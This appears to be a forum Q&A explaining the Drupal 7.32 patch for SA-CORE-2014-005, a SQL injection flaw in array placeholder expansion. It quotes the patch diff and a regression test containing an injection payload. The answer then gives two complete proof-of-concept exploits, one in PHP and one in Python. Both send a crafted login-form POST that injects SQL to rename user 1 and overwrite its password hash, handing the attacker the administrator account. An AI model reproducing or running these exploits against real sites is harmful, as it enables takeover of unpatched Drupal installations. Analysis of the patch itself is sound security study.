What kind of attacks does the patch for SA-CORE-2014-005 (Drupal 7.32) prevent? Reading up on https://www.drupal.org/node/2357241 and the technical details at https://www.drupal.org/SA-CORE-2014-005, as well as the actual patch which is simply:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key =&gt; $data) {
       $new_keys = array();
-      foreach ($data as $i =&gt; $value) {
+      foreach (array_values($data) as $i =&gt; $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate


I'm wondering what kind of request could be made that utilizes this exploit?
Whats going on with 7.32 By checking the testing module. You can see the following test was added to 7.32;

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " =&gt; '',
+      '1' =&gt; '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' =&gt; $condition))-&gt;fetchObject();
+      $this-&gt;fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this-&gt;pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      -&gt;condition('name', 'test12345678')
+      -&gt;countQuery()
+      -&gt;execute()
+      -&gt;fetchField();
+    $this-&gt;assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+


This should give some further insight into how to craft an attack.

Proof of Concept
Since more than enough time has passed and there are plenty of PoC's out in the wild.

Poc #1 - PHP 

&lt;?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&amp;name[0]=test&amp;pass=test&amp;test2=test&amp;form_build_id=&amp;form_id=user_login_block&amp;op=Log+in";

$params = array(
'http' =&gt; array(
'method' =&gt; 'POST',
'header' =&gt; "Content-Type: application/x-www-form-urlencoded\r\n",
'content' =&gt; $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&amp;destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') &amp;&amp; $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}


Poc #2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&amp;destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&amp;name[0]=larry&amp;pass=lol&amp;form_build_id=&amp;form_id=user_login_block&amp;op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)


Here is a blog that does a good breakdown: http://www.volexity.com/blog/?p=83